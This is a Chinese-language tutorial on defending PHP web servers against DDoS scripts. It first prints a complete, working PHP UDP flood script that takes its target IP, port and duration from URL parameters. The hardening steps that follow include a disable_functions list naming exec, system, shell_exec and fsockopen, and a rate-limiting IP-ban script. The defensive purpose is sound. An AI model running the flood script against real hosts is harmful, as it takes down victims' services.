PHP DDos是一種利用服務器就是利用我服務器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 這個功能很多網站都需要使用,下面我來給大家介紹一些關于PHP DDos的幾個防御方法.
我們先來看php ddos代碼,代碼如下:
- <?php
- $packets = 0;
- $ip = $_GET['ip'];
- $rand = $_GET['port'];
- set_time_limit(0);
- ignore_user_abort(FALSE);
- $exec_time = $_GET['time'];
- $time = time();
- print "Flooded: $ip on port $rand
- ";
- $max_time = $time+$exec_time;
- for($i=0;$i<65535;$i++){
- $out .= "X";
- }
- while(1){
- $packets++;
- if(time() > $max_time){
- break;
- }
- $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
- if($fp){
- fwrite($fp, $out);
- fclose($fp);
- }
- } //開源代碼Vevb.com
- echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
- ?>
細心的朋友會發現fsockopen是一個主要攻擊函數了,不斷連接發送請求導致機器流量與cpu過多從而網站不對正常訪問了.
于是簡單的研究了一下PHP DDos腳本構造,并有所收獲,下面介紹幾點可以最大程度避免的方法.
注意:以下操作具有危險性,對于造成的任何后果,與傲游無關,請謹慎操作.
1.打開php.ini,2.禁用危險函數
由于程序不同,函數要求也不同,所以請客戶自行增刪需要禁用的函數,找到disable_functions,將前面的“;”去掉,在等號后面增加如下代碼:
phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,proc_get_status,fsocket,fsockopen
3.設置PHP執行超時時間
如果程序未執行結束但已經達到最大執行時間,則會被強制停止,請根據需要調整時間,找到max_execution_time,將前面的“;”去掉,在等號后面增加正整數,單位為秒,如:30
4.禁用上傳目錄PHP執行權限
大概分為三種服務器:IIS,Apache、Nginx,具體步驟就不寫了.
5.一個很暴力的方法
直接禁止PHP執行,原因是很多站點都可以生成靜態網頁的,每次生成或者管理都去手工打開PHP執行權限,現在已經有幾個用戶使用這種方法了,具體方法參見方法4
6.關閉用戶中心
比如dede等cms都會有用戶中心,里面有很多上傳的地方,這就是大概的問題所在.
7.修改管理員目錄
這個方法就不細談了,并不是對所有程序都適合.
8.修改默認管理帳號
很多人都習慣使用:admin 但是如果程序出現漏洞,很容易被猜測出admin的密碼,所以建議修改admin為其他登錄名.
9.一個復雜且記得住的密碼
不管是Windows/Linux的系統用戶還是網站管理員的賬戶,都需要設置一個難以猜解的密碼,如:123hai@tang@.
后再再附一個php防ddos攻擊的代碼,代碼如下:
- <?php
- //查詢禁止IP
- $ip =$_SERVER['REMOTE_ADDR'];
- $fileht=".htaccess2";
- if(!file_exists($fileht))file_put_contents($fileht,"");
- $filehtarr=@file($fileht);
- if(in_array($ip."rn",$filehtarr))die("Warning:"."<br>"."Your IP address are forbided by some reason, IF you have any question Pls emill to shop@mydalle.com!");
- //加入禁止IP
- $time=time();
- $fileforbid="log/forbidchk.dat";
- if(file_exists($fileforbid))
- { if($time-filemtime($fileforbid)>60)unlink($fileforbid);
- else{
- $fileforbidarr=@file($fileforbid);
- if($ip==substr($fileforbidarr[0],0,strlen($ip)))
- {
- if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid);
- elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);}
- else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);}
- }
- }
- }
- //防刷新
- $str="";
- $file="log/ipdate.dat";
- if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777);
- if(!file_exists($file))file_put_contents($file,"");
- $allowTime = 120;//防刷新時間
- $allowNum=10;//防刷新次數
- $uri=$_SERVER['REQUEST_URI'];
- $checkip=md5($ip);
- $checkuri=md5($uri);
- $yesno=true;
- $ipdate=@file($file);
- foreach($ipdate as $k=>$v)
- { $iptem=substr($v,0,32);
- $uritem=substr($v,32,32);
- $timetem=substr($v,64,10);
- $numtem=substr($v,74);
- if($time-$timetem<$allowTime){
- if($iptem!=$checkip)$str.=$v;
- else{
- $yesno=false;
- if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn";
- elseif($numtem<$allowNum)$str.=$iptem.$uritem.$timetem.($numtem+1)."rn";
- else
- {
- if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);}
- file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND);
- $timepass=$timetem+$allowTime-$time;
- die("Warning:"."<br>"."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!");
- }
- }
- } //開源代碼Vevb.com
- }
- if($yesno) $str.=$checkip.$checkuri.$time."1rn";
- file_put_contents($file,$str);
- ?>
新聞熱點
疑難解答